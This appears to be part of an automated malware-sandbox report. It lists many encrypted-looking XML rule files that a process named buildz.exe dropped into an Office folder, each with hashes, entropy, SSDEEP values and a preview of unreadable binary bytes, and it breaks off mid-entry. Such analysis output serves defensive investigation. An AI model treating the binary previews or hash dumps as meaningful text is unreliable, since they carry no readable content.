SHA-512:	9E3E5CD4F9624BEDB6925D65E25A60751D815DCF27372A4747966B2073405DA284DE679322EF57D1A5AC44439E2A9303ED44B10199DF4930425450D856BF5927
Malicious:	false
Reputation:	unknown
Preview:	.<?..1..N.}..`..B.W..2.Vl.......g..T.r...h.z'.]}zU5..tT....Z...tX...M\|.\.s....\....(...].%..=._...../V..:._...0.R... 1..sc......Y.,'..u...x.....p.W...K.a.._y.......HL..$..]V............Q.4ox..b...A.Z-R<.%...L#..kW(_...F...#/.W..3T.Wn.......r..X..........h........R..d..{..T.e....0.^....{.P.?.4{...N....S!A.n!..T....~.i&...4....`.g...6FF.ZW.)<.....4.n..\.A.H2g.......K..g.Z.$.W ...5.]e.rq..)0..&..._."$....5.1...Q./.7".N.$...\|...L..PI.!K..Q....t..Ew..$.G..Ze...Z.1.:....H..o.p..=.-./1.w.<7..P.&..y...u.].o....Z..B... .C..,L[.2ei..Z.l...~mM..J8.......7.qHj. ...i.....~;.2Z.yN.......\.....-.q."....`....nt..B)......1T........(Z.y.0Z..[._....>.Q....f.[..gr~........9R..(1`..b(.=+..V../.x.h.....~].:.....y.....M(Q...&^5..../.Y.....d.O..k.}`..y...........@5..4...h..N..w.>Cg.I..>.&..K .......t%n@d....tm..m..y..sK.9...]..../.,m....l".j.Mf..WO^Q@......6..W....'...D\.rm..VKH.A.._..0.n2..(.-..}2...t.(=- m..7..(s..8..e...?3.~C.a..I........d.fR._..!9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.8930598046250395
Encrypted:	false
SSDEEP:	48:JEp7BALEHhO4QVo5zz4jkiwj/c3QL+9HirXD:auyhO4OQz4jkhc3Te
MD5:	E5833AD6AE046F9583B793A44A8AD468
SHA1:	6F5BD0D35860083949113E05AB463951E371A0F8
SHA-256:	81EA7B91E17EC1FBE48A773244945A479FECFA2046E4A3F78772D83B9707D52F
SHA-512:	B5E7A4AFA6A56EFFC27D9C66DD5EA7753AF41E0B8E5B92875BD6194BC98A08B227D6B74C6A24559B2945DB34F1ABD226E8539B660C3FB81A6286E988FF5ECCDC
Malicious:	false
Reputation:	unknown
Preview:	.<?vW2.@...]...X.%..[..E.sV..y.5..(.wI.n@.r....u.G...;.y....g.VW.`W...^.s.....U...).H.E.5..io.w. ...W.._...90....C.j.2^i..a........ /.+..r^##...#.M..~J..S.,x9.!Np+w....j..AU.........."w...5...8td..Go...5...A..bP./...N..JvRJ.M...@...y>..)P.c.k.,[%S$..!..B`R.).....(W.4.j.P..].\|./..H.\|\..]8.'...)l"5TQ].+..\.hP.hu.Y..UqE...S./..-L$..A /.b..\|.Qt}./..hz...?Y?...YA:@W@......;t[....b.....d...i.........at....2.1&.#..iM.Y).FF......4....._.%.D../._>Fsl..rM.o....h...2.W.....(..-..;...>.,.?.jh.F......`......}..3.!G`.y}........s.*4l......].O..&w."y.\..".......0.W#.e`.........>M..(.......bO...~.V.^....>K.<.U50...9..$e..E.k..@bF.HH....{#.WKa...M.v....(...x..P..Z.AD..I..r}.rR.9=.-..&.;....._..]uk.s...t...u..h.2[..^.0...bm....7m.l>..C.Y.?.......;J..2.r>.?x............6Q....I..2(..v...)....R.]....w4.,Af1....... ..8........Dl..:T.o0...w..0+i.[......<#...vqR..f......\.X'.........\|:........V.....Q.Pb.9...).:....$...#[A..o..;Y.R.+.............uK....d5.. .pT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.8773592776847225
Encrypted:	false
SSDEEP:	48:k/WaqNn03EfTYsjJ/PK2yxkMK4rkNGQncJhJxuD:k/diYE7XJ/BQrkUJRW
MD5:	C456A39F4BBD0A2AF48E689A8B00B07E
SHA1:	9394F9B42A84AD5CB024B22E67E7BD87F8D7DCE8
SHA-256:	1DBDCDC7351625F14EF3DAF87A79E9B918B70C8FF1D49FDD1387CF8D31C0777B
SHA-512:	44A281B173035739FD60F2440F6CAF7F95C6423E9C50974180BD2893828D5252F0709EB3C0AF4AE0CD513781C783917CE5E7663A09BB310D5F3D344915DD8FBF
Malicious:	false
Reputation:	unknown
Preview:	.<?]e.."..<..Do.V.X.B.j..W. 2.G>..Y....R...B.p....J.....-F5...<.....WU..X...y.T%.........Y.6:.1.%.....t}.e........i.Z~..9... ..O...bn6.Vi..B..(....C...V6d.L.Z%..z...I@[..zU...D.....7."vd..y..G9..k.....6....Q.B @...A..a?.T@."...u.H...PId...vV...7g..{kR...3.......t.m./.6A.rt@..o'....E.......J.C..t.bP...L..8~..6.c.. .<.^.."a!....?....R...,t..f..4.w.N.H.5/.......d...p....Ko.@......\!G\|KV...Z.fI.NU........40...A.....\|B ...+..o.4./m.&\|...].m...9G...h....7.t...@..,._.._.\.r.AFu.u..ll@..Eo..b..3.P....-F.R....N..\..../YN..$wL_:.6..O39....}.6X.7c..A.....;.p\|J..C....3\U....wC...../...`Q.b..sG.+d.o......lV+...paf.5..I.+....e.(....k.o+...%...-......G.../.U.h.;...T...pl.$N...i..l$.0.B..J.x....^.#....,(.....I..L.....=......C.e8.T....T..2jS......[....s....6.KzQ.0X..9$n..n. `.%L...<.....Y...J......_.-e6(vZd.......j..Bi...I~...o\|(.SR...\9Z@U.OU.....3(%.R.R/P.5.x..v...`.1/6..C1.....R.Wn.....!y..xgP8!yms.2..7.......n.............;Y.R'I.....w....2*..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.894885044675629
Encrypted:	false
SSDEEP:	48:f98zlfQ2YPBD/V6lsM1TrJeF+8AW4PIuw/6D:ydQ2qpeznA2vZ
MD5:	218F1EF49367E7F37F8A5751AA116CE6
SHA1:	0EF65CC4968180DB089E4F018AE4A86A5CFD8CC7
SHA-256:	91FECD7C4B55AC2AE136FACB42F8E86796FE685984215D140439D2EABB99CE6E
SHA-512:	883613D9296FE62245A699BD54358C40FC2E7ECFC925A8F5345FD07B00B17F856E595DC9C100664A566B0FA8B5337759E610B82BB19E15EEA2F52C69E44F8BFA
Malicious:	false
Reputation:	unknown
Preview:	.<?(.6.......j.P.p....cx...\..W.[..5..x....l..<>."X...+'.Q..p..9......,.=.a."....IGJ..^.(':...;o_).\|..n..o.........!..z.U.S....H..M....LS....k..........D...TR.H.)v/BE...d ...9.$.[u.C[...~R."....4...1}.4..n.....R{._c...%o....../.u.4...DR...+.-....7.L....;h..%..?.;+.F...0...a1.hBYN...T>.._.......mic....V.8.E)..Y........p.5.;.7If(.J^.:..F.....{..K[..[.U.F..._HL......N.....B../...5..vJ.....F"..Fl.]..Y^7J..;1.Ak..O.4.I..!"4...R.p[M....]n .. ....a7m....H......,...?l.}".?c~.'"XX.I.h....\|..oK..\|T..A~.moi[0t..x..6..y.,7h..U....7.C...nV..v....ZR....I;..( ...om....1.]......KdG......x....^]&...W...?.~G....6.l.)W..}...&.V.....u.....t...=.tP..G...,#&.+d....Q..x&...-..P.s...Ij....fz.1..Y.Pe.......eXQ..^.l..Vbz... v...K......}(.I..4F...u2..wT..`.V........Z..0.......^o\8.U,...X:.nz.v..v....J.kv.[uM.Y....V.....[0...%-/.....N...?I.....e..sp..n:X.y.....l..^...@..4\|}x.@...5w.uMM.I.0{.66...........r."...JXM>...Wz.."._(o.B...[.....Y..`...n..O/...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.86814660604011
Encrypted:	false
SSDEEP:	48:wSgrhmjkDtusD6NL7hHmWbDi3NGUcLW3NB2xptqSD:wSgr4lNza3QlW9Axptq6
MD5:	BA3E305F7254266FA7C554D886FF8F1B
SHA1:	C3CC6ED0AD29C052AD0A98703678134DDEA61693
SHA-256:	E19D7170C18696924DC60CF295D98E992268966D6421592C9C2D045746A8AF62
SHA-512:	E202DC9AD3267D0121E23FB631FDDC8B519D34217DED05C35FE90A5439E434ECE7DA8207DF98274E128ADB9E28B4AAA076E3938CF66705062433206585CE3E49
Malicious:	false
Reputation:	unknown
Preview:	.<?ra...........t.]U....S.._-.........O.6Zt.w5.a~.=...-./F.f.........0....5d..\.>..g.j....2.;\|}......T.u..P......N.L......#~M...W....<^`..l5f..DS.<9...Wc.UQj.B....x.^.^V.\|.+.!L.z.h..V.\|......s..'.\..)]........Q..0..6Ok...qp......@u..F.".......0.r..X._.i8..'!..\|..'.....!.)..-!.....`x.....4.'..z..:.^ZN.7..e....kLIflm.I.....d....&u'3........6lcj.....f....`S........E.EV...P..E....+o.eZr7..R........2{.V.kxx.v.<....w.[.(um2......iW...r.?.A-;}....45.....p.. .....U.=.\| ..@..#.....W.B.........F:.3..P..n.r..@.U$>._.@kI.=.M....V]...#..)X.u...\|....[K............w.....}.I.n......M........#B.;.(._.2).!I(..UV.7.O;........./...b....^.`!...h.1.."...C?.,DS`..U.S}.i.wh...;L.....5eO..3..%c.\#<[ \.....8.5]..(.`UM...\.....M...<64.....X..]8.=."_[.h.8/=#.....v....M...Te..o..U..$..\|\|3.....J-~..H.eS.(.......M..o.\|b...=.O./7f#4.;.../0.~K..g..>..9.O.B2..x.X_.. ..-*...tI.P..$...~.\|j...........b....@\....vl....../-.o..;F.:.B..S`.....!..,....4F.J#.\|.g\|...(./G..r..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.875346453851648
Encrypted:	false
SSDEEP:	24:4MUoS4p9r7c7Iy7BMWK6LD7yuJKQ3iVcsYaXCLHdYuCJYK7aswpC0bSnKUSaGa0+:O4feb7aV6LKuJK/YoCDCJYKxbsSKnXmD
MD5:	E4B6D93F191C6E5F56C1F3BC5B0AEBB9
SHA1:	51E0AD726175E13929552217400E9842AE3B999F
SHA-256:	8EAA76C0D654000C82E95DD1866184D1F2784BD6028C436785AB5081C1675EEE
SHA-512:	8B512AFCA05BC721F2C70D0C533EDAAA7B3CA87C469255769469188BFEE8786E9C6BD74B4DE8C6A589EDAC869864D573F39EB375C16A438BCB0CCA65A71CF06A
Malicious:	false
Reputation:	unknown
Preview:	.<?<....;.OV..MMsZ.C......d..'V.R.....\...Yd.....+.c.........PH~.8>........\_..ZL.N>.&}kZ.##...J/.=J.O.kwV..8.du....e..0.V.X.[#64.:'w..2?......t.!...66.\;.qN....~.O...}..O.F).1\>.}..R.;u.Z..(l..$.sp;E)......;....v.^..&G...?k..>.....O.\.k.u...>.@h.T..g.nB\|.@}....w.%...M.Hk..R.XX...7"...h.0R.%S....}.5@E....:..K...w`.k. <..u.....K.!O.o.p....g....'l3..>.T..y......i..6u..5......Z..s._.e;4..ig..'......$..../8.'....L4E..h.W....}..x..:.Ew8=..J.(.......s8....}.1%.rL-[.............v..R.=...E9V.x&.T]h.j.jd..a$..C_`..-.^/K.&`...O.\..2..UO_x...k..l.tw.w\|U.$0..9.a.......i..&...Q.^..`..8Z....M...Ii/..?.m..&..s.._....6...".<..3....Rt[.O.q.+o...E..`.0....W.o\..X3E/..2.GB....U.........I..R...&3^YW...[..44....Ix........Yg../H..r3k.P..dX'aS....:...'..I!..D..+(...(...Ra.l..x.o..u@R.5.V. "F..&..i.L..8..U6..+/Y..QpL...&.^.F..^...@..u...7.O...P.6Ov6w...(.r.5(2....v...r..G.8....l9...L....y..#........E..9.`...W.....#.P...&zq.g".f...g.&.]....b1.uT..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.8817630780776415
Encrypted:	false
SSDEEP:	24:UXRyHQGpMRyGaROvxZnnkh70fY3E8mrhkeAYN0OH3oLyFpETa4ItmLVnWYPCajJS:UBqpcFMYFkh7GM+tkefAyFqTa4fDjJ6D
MD5:	7EC1536C29A4A4EC52F4D104435C329E
SHA1:	F553174D46A00A6DBD22D1AAA5192290362F32DE
SHA-256:	2B3CE5FE4518CCEBBD91D95BB8DE38636B69153FA20E3F780B80F253CD82CA9D
SHA-512:	4F1CA1A50F5F3B7825177FE6553E9D7F891B1AE19205D8BB19163FC6B24D5673D3BE9D64F4AD66C719CF347B229168C242758C2D65BEE33165F913D2623BC33B
Malicious:	false
Reputation:	unknown
Preview:	.<?e..\.e.$cQ8#..O.....2.".foI....'."Z4.)#.....6.+&......q...Z.P.:.w.x"R.P...3...<..j...h2`.......&I.O.j......=t.\|..K.4......F......tkVAT..9....M.J."..6..._.f8k..e..\|.n.{y..0F.$Pwf....9:.L.\.;..r......}`O...Nf.....h!...0.2@6...E,[2k...Ju.{.U.....a..6.QN...W.Q..dl....Rno.Z.s1....h4...}.t.....O........Rnu.D......p.L...t.M..X.2..3....6.[OZ>..0/.R..;p..4.z.^.[pe.........5...k.B.......Y....kD4y.A..C}..D....s...'..<.....u.1..A..o..C[.....}~3V....\|..'....Z..v.+......=`;..{...6.d[...)X3..X&..e.G..;.....7.....(`.o.:8.~H.n...dX.[.-...8.S3.y.z....h....27%w.z...Z.....\|.!...,..x3.."3.ckz..D.9u..k.y..r.G.i...vr...,2-:..<.[..XV.[....[.U....u0.n.... .{M...k.&.....&hz)...x...<.....,..\|......."P.... .%.f.^......Pu{6Th.A..C..M...i.SX1..4..^..:.5..R..apI...xF.....`..w.d.~....%....5.V....!.g_..,....I<..x.6...M...nIJ}...o..C...&.41K.....U?...w..Vq..i..S.. .L....V(q...-..........W.(z......WeLw...O........k...;..K..f..../.n.[.q..(.<.i..M...h.E..!..5........M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.899357403732103
Encrypted:	false
SSDEEP:	48:Xt6K0NdIOvfdwJMYYc00HyQXoyp4Aef1ah1AvlOD:XM3tHK//poypjedO+vl2
MD5:	3A350440776B750DEF08F19BA66998C8
SHA1:	2AD70B3A15FBAF6F85F82820598BAC6EE4E5C257
SHA-256:	CC095B76BF3099D0D3A6A2AB91DC534ED6077B6CD10A651956EE97423D03F705
SHA-512:	EF1F239D787CE0DC2A8AF65F8AE2ECD8E381D9DE59C2FC78BC0EA09E5FF55C57EAD5B62D8A59290F4D8268408614008022F8B4CA7D25B4A30A5360E76F6C9AD6
Malicious:	false
Reputation:	unknown
Preview:	.<?.p..5..y.B~.m ..@...B. {..E......N.:t.....w.....P..........gR.V$..~z....i.S..i$#Y .E.F.......7A.Ki o...o.aG..Oz9....S..f....?.<..#..e!..`?p..-.@.R.....h4..-..v[..P3...E..4o=0xC..;..N]c=.....n[.....e>...p......z..S..}[a......c.}N...BM..T&.'..h..E:.#Y..u....H.b.V<..)).j5^.m.-X\|P.....y....W.....:w..Lq.Mr..0uWs.U.+.".-......Y..7.E1m.~.C...@.q.%.q.j.(7..D..n.P0...'.T.%....?.G...cdY.o-...[.F...Q`....=........t........6..J...!..p.q....w..x..$....&.6..g...I.>.-B..qm]..[{....\|....g...C......rT.!.....Q......ac..\.......E..M.J..(...T.4..F...j..<mKZI....p..w..b..p>..d0..=.r_....c.gnA..}...O_.71..F.j.Vmj,....H&Wg....7...1?...S..m...%.^G.u.WK...D.....M..h.^..L.(....Y.....Z....D.....A.R&?..!..,SF\..<....D..T...5^.7.Efc.90L~.....\|....H.......GU....2ay.b.t.2..L(. .k..U...k..1.{n..2...YA......XX;;......Y.A.+U.$].F....g.^..D!.dU........le.hU...'~.".=...\).Y.II.t..!.QFl....#.......kH.......E..W#.s..h.&..a..;.o...M.....V~...$.GU\].n.V.'.rD

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.885431439207511
Encrypted:	false
SSDEEP:	48:di0VMhP1DvbFToOgNaIEW7kK40+19Tn1aesvPSD:c0VQNLbFTDtIBkK40Y9714vS
MD5:	104E1CD2CA69C8083DAF63B9B21EE443
SHA1:	90652E747A1AD50AF4A7DE31CC95FB2D4CD598CE
SHA-256:	E0B1B489B1B93C9295674391BFC613BF06A6E18D37EA34B7E67899D8AE5C1A88
SHA-512:	FE8EDFA79D2963EA6D7E8D682A34A274832757E9CAB9A410978251A8771C35CF88B90763A84B5E952702789DF2FE78B43C188084E0242EDAF4F799E207D8D157
Malicious:	false
Reputation:	unknown
Preview:	.<?....?.I..u..U....urG9Ts..._.)P4.'{%.q<.e.5h1).&.e\|.u.~.....7.q.....p..1..\8A;.l.~.W...l...~HD.`.V.S+...g.y.;..&..x.\......,..D...ap....`K...6......d........i$.w..i{...[...&....(Xo...`......v}.xC...<..q.t!..&.q.Y.C@.......6.6+Tno.]..B.8.....Dh..xy.B...<.z)\|..7i..i.d.....z.EZ..(y.!9......XW./h.,..~.^..Z..?.d.s.+......[..n."...3..6..........k.'{paSq....>.1......w.6.U2... ..........SY....}.f.7..v...D?Oj........zWM9...?.,.x..=.a...8..zp......&....fbM.YD.+.U]..71..Q.......a....YM...HX....az..5....\|..J' I..>..Ih.l.N..?..w..`+..]}..Y..x.....$\|...g..9?.....QN.Z..dq..0"..B.....2b.v...&.=..X..+.H...,.....V.X>......7.?+..c.8..W.r....@.<'5"."!..tK..u..o.U...o..\.)~..~...)g.!..=.Hh.1im.X........VC.$....../v.$.^..s 8...u..~..S..J.0.e!.u.......#..)...u..g..g0_........x.t?.T.I..q...p.[.....p%..0........M..m.6..Gat.0a'LdV..!C....f..\|....T"..@.a.-...0...}.Y......N@..M.w.s...].n>..n...$..._...r.w3.RIl!.%..+....5.g_..~.....\e..e.....CR............a.n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.880449625843854
Encrypted:	false
SSDEEP:	48:PLlzd2k0byC792Z4YVXSU95lRm5QsHMRrX7pCD:ZIk0by4AVVz95Lmls7E
MD5:	B8729F27A246D3A03FC4E9EC3566E80F
SHA1:	318D8B79C78695FABFDCEDBB0725B5E34D16E50C
SHA-256:	B43394119B1CD61013DCEC6B1DB21597693E0C7254E26CF3AD7037E9DD75F405
SHA-512:	D34590DC3C6BCF17AF0B991A55F6F1D8D15D6C731DF08D0E6FE0FDAB7BEC0D3E7CB4DA473438E90F26CA1EDCEF61533DAF79904E282E8E82602D550FFF14CD50
Malicious:	false
Reputation:	unknown
Preview:	.<?.4w..{)..,.L..q.?..(....&.bB.[.m>...tw.(.......in.9y..qYvp1.{......h..`...%3..!s.\.._."...k..k7@..c...f-.(k..........\.F"u.2.....G.=-.R...<&#..8>...r...R0.2...L^_9P.g...6.J.V.....EQ.-..R.s...e/.8..Bz....X...d.f..j.&F.\[1.2......~D ...D..8.+.....j...h6.?..../E!._.e4.....?.@Do_&.^<0..6.0#.q}u..E.1..R..&8}....:..b~.F.5.Q..!]....%..q.\...R,.e...h..<.z> ku...XB.y.y..}..;."4.....i.\P:.JE../Z.F..B........0......8g...R...;..z.[.;.5A..}.W../.a....O..c..Z.A.b.....H..E...A%.........r.&...-...d\.M..+...qc_...I.....c.&J....4....mFN.%Pi.......<.:.v..N.`..e.c......'...so...W.->..(..(#B...rn....kn\|.q_..PkRJ]9.Y.!.j3'.>;.Hw.5..........3.E...tj^u:2..R6...(......7.O....)J!.T3...$..j.....\|.Lz.k....2..)n..9F.P,.8.uYj`.)<taB_...b\|..+o...W....K.Gbe..)Z.'.&~N....d.^.;9%v...Ty.....u......}...+3./.0..[.}gu..~.] ...9\....H8n..2. ...W.J..1).Q...KF...z........5.+...........Q.'Hf.'e.JR...T.G.\|C:....tF.g.^dv.i.Z....q2.N.0v.Qt...=.;..C%....]....1\..1.J..Z.".....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.895535615813032
Encrypted:	false
SSDEEP:	48:GtMXD9LGLRKDLeeleSooBE0QFDf67vfIxODD:4SD9LGAPe2e5FDIHuOP
MD5:	A8132E6A77A5245D8B38300C1A3512E0
SHA1:	8CF04C9C9B5E76AA609D60623B97FB5D2DBFF184
SHA-256:	9BB5400D115D15266D7ECB5FBD14D82B64E54079A2B2F99122AB13A149D565F2
SHA-512:	B0C66088C763851D52AC1CD149304F8C2D2CFD857F8006A9F10EE07A6FEE2DAE22FFB8EDEFB919B77A0542D2C8946D7802109480FDAFE54A1B604D229A6A4114
Malicious:	false
Reputation:	unknown
Preview:	.<?s.%%nT......`....0.......v..J.<.....q...Z...Nx.ND.$7..2..@....cZb./.k. T.=....h.F../...r...0...P...,....l..n..W..[57Q...}$."...].4...'..;..3...}..X..p"..{...N.d.8.>3.&.D.%:]......E..m_)....ed.....+.......C0..)-..1<.:e:z..=..N..T#..k..M...?.".W...3.....$.C.Y..U..K7y....w?...h..x.I......&.\|...f.yX.].B6v.....Hg?H..d.;.c?-8....^.q.......i..yI..M"..3c;ak.....ip...Jr.{3Z...!o.G..\|8..+..8...L{.n..<..5..........P].S.Sz.U..6....V.L..7..=...,1.W.mr..S_r._I.].SB..D....b~t..!>;{...........F.......V...r.......6..O..d..WX.o.;#>]G8...r.....&.M..y,7O...0n...,.......Wt..fN.',.....]Rg.F.>G .m..9..g\.....S.V...1.....SO..!..j..+Y...wz.B.jKb.=m\|y..~&-......N(....J.q...C..y.xp....cB.....!.....j..22"..b..b.`.2.x..\a..}lp%}.F.......$.&.....F`..R..l.?..+.x...F.Ho..'c[..."Ap..l......~.......7e...G.j....b..l1.mHy4..g.R..g..s.}H8.&.c.\|.\|...2.<.2.w,.;..R......a.\|..}\.........Y.RNp@.../...ArU.Ro2=;M..U..Y.<a..-...]eDP.8..../..e..U...e.2~..&.au..+.ic...gQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.884289294619555
Encrypted:	false
SSDEEP:	48:Ajpa/LE16zI9S8FJoaS1YNkgtTewUDb9Vwc1U4D:ipa/LE1wsLZNRKRBVNN
MD5:	714699133966859BD4495A80E98572E3
SHA1:	218B2E5B758F562060857B274BA8DF246AD633EF
SHA-256:	52E0F83B62A67D5F5A8DE707BE0F5A5FC845790A2ACC143FA7559673F71C221A
SHA-512:	7B15D442A75323F37E62E192E4759A71329DAB7005F50B982AF6D7A62A3B140BE3014D793D243754FAEF25EFBBCEB09E26FDCD2655C6AC8FBAD7FEC055B8E4F6
Malicious:	false
Reputation:	unknown
Preview:	.<?=..y...-.%.Z..V.).Olh.%..1.C...E.b....?L....7..........o\|{LeN.R$kytx.!.Rx5c.}...S..a\..p...e=..r......V..!j...Tw..0..w.f......g...."F......4t..D........h.....wQM.=.x..K..3.:ZG..,SN..>.t........Sv.... .h@.P>.>..o[..@C.....7..{.Qt.....=.4..".?..(m..........D..f.M.............. ..@.....3v6 Tb....Dn....@.LK~\|,N6."..-.........f3.f.........q.[.4.{..v.?w.Rvi&...`..H.yT.N..l..=..T<6...?;.}..f.p0..xcol.fY.2...R..sx. .R.t.X...EN..S.._.O.DaH..&..a=+?s.n+.)......A.....L...K=.......\|..(....ILg.a.1....^.~.j..E.....J,j......$N.&e...:.x.,.x.P.G@....,..t.J_..,7Q.Za..i...1.I.T.U\...G......b..M.Z^.n\|1..a.0.Y..}s..m\.x.....HjLc...T{.../.(..-.../..M.%7.<.'b4.Eg...G...rgjRJD..d.gi.;.S..z.p..?.k.m.^..Z...7..F. 3..eI..Z.O...A.6.......\|..0...'.).BM.<`.#..A..pbc.i.b.F...c...y%.E......b.;...C...78;+.H..3..\|.. ...%...au..K@-.u...Xb.&..BO.%9.Q..q(4..e..4...,.F....o...>S.4.W_......7..it...."v..R....e.y..G"!.6b.l...*S.v.'.%c.O.Ri.q....f.CK...'#3p....b.]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.882869903978451
Encrypted:	false
SSDEEP:	48:4Asnxzv/dJZTzowsV4YpM1RmO4++U+pghxApPylWQCPyp73D:4AGxna4rCGHKalWjPa7z
MD5:	DB01D1F1FD171475750291C752D7D7D4
SHA1:	6BD4B0149BB2B118DD03F7170C4C70A17B49F02A
SHA-256:	F0E286E04CE15EE79761CE383323F5E9518A20412B1A4932E0C04321E2C23E47
SHA-512:	E11DE967EBCA6C949E8AC622CDD9BB00E3FA69764B10839A945FE0A0E8D9DBBA27FB72237C23A5A2F2FEBFBB816F4D64F658AA8FDDFA78E1208FB80E2F788944
Malicious:	false
Reputation:	unknown
Preview:	.<?Bs!....%.P..3....gs..g.Q....4W...7.]-bf.I.h.4........?...N.......5...Z.....z.'.......m.T.".r....z.c\|......i[. .1.0.'J...M...u.`......Iql...h..c.f...........2.....@.w...6 ".x........FK..~Q.....^./..O.(mJL..-.#8.O"..L..J...R.l"^..kI..3....U.y.....W).......v.....0...r.d...!..a...4...z..;@........1.}..:..#.,...uS.....QX.,m[....hA.x.8. .F......K.O.....O3..p.SJopvM.\|v....B.b...u.g.p..R....4z.{.C......"..........=(....^.h}-;.`..B...S1L..>..By/...ibR..*.....d.:%~.......V..0r.W.X\...s...>..re...cp#.#....#= ....5....,...R.L\....+....pf"...5...]..Q.D.wd....oA...a..xV.y...I.0.(}u.%.]V.C....(?;&.+\|..-1.h..;o......q_.l...6.c..OR}....rRr.i.....2w....{..f.8(.0.:<.GQ.u.V.2..7...ES..K.S..[.."c...T`...10w'.C.x...l...ray....% ..Y....0.;..W..r...1..+..k_...y....#...V7.O?.8m.94...Yf.).w.x....]S\|....F. R.z.1...w..+-87T[....>.<d=..+6.0...`...#..c..k.....Q..dlD..j{.a9i..n=...1...jy._.O........n.T..KByp.#.G.......w..I...%@.BW.gW...:.i.5.!%..8....`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.884051756866
Encrypted:	false
SSDEEP:	48:dKo82TNS0ypxzK2CmPGDVeRw4pIcNpSpcaay83vD:XTNSnTK0cVbtupSpc9y837
MD5:	7E36DD01A8EDE371FB00BBAC46DA5306
SHA1:	F615C1C25C24D230E61C8BD995C5D24F743482E3
SHA-256:	7129D36C39B5A30472902BE4D59A47D3DDB8E06C94B1E1ACEC54AED3A6E6B9BC
SHA-512:	B8B2FE44D746A088EDCDD3EE831705E702DD1DBBE32793A4528F394559685AE4BB87C73FFABD3ACEE42741538FCFAEA362A74F4FC2F6905D23E2A57DFD55268F
Malicious:	false
Reputation:	unknown
Preview:	.<?+..#.y..P....V...~L..0.E...:..M..,....O,...Y.Tj. .qhep.JOo.v..O..s.P..d-.....?..T::.1p.w.2..+..n.T).%.c...eT.6...D-9".O-cp..ik..<......F+w.x...-..,...A....P....O.A..A2T.......0_.......W...Y..-..&......5kca.s$&.'...p...2...yLC.CY..{L...a:..`...m...&L..eHQ.B............Z...UUt#.o..V.T.'....K...h..E...V]C..}[..b......Kw.y..+.-....=...j...?l..\|?Ry@\|!n.t.d.N-.Z...p..Zqw......i.qG..)......"\|...@.0. QG..x..t..Un.X......J.........2.6...1..]`m?.%G..k.H..)..D.......fm.........i.2...Y..b.#....~..F.j..FN0..s.1b...q....9......x..A&T............v....._..WB....x.t)..j..:.......v 7..d..m....9.m.B...`^..+...{.G...^.f^.W.`.t'...}."...6.....Gux..{.c..<..-n....t...dM..r....\|;..Y.D}.yJ.m....+.z..ew.'....npj...Bg.M.96.....\O.mpk;..>4..%5fl....e...3.x&.y.+.("Mn...(..........%....=.m...O....+.........3.f&.. ...0...8...~.8.M...[...-.r..t.v..b.#u\|..q`......Z...`T....z.).t....3e.+.H..... YhK.9U.W....K...D..:...]........D.....Z..\|WT..w.....{O!).3...5e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.891955341162733
Encrypted:	false
SSDEEP:	48:wqXZqnliYRMNntKGnmtE0YVOvBfhjdX5VnGCuMD:9XNFbnmtYVOBhjdXLnEo
MD5:	3F2EE62D7D4DD1600DF9BEE440462930
SHA1:	217A7F561E771DAE425085D1F07927378609A797
SHA-256:	3827C50D245E3BC65DEF4C814EE5FF16623A8A45F0A5F41D64DDEE05546ABB97
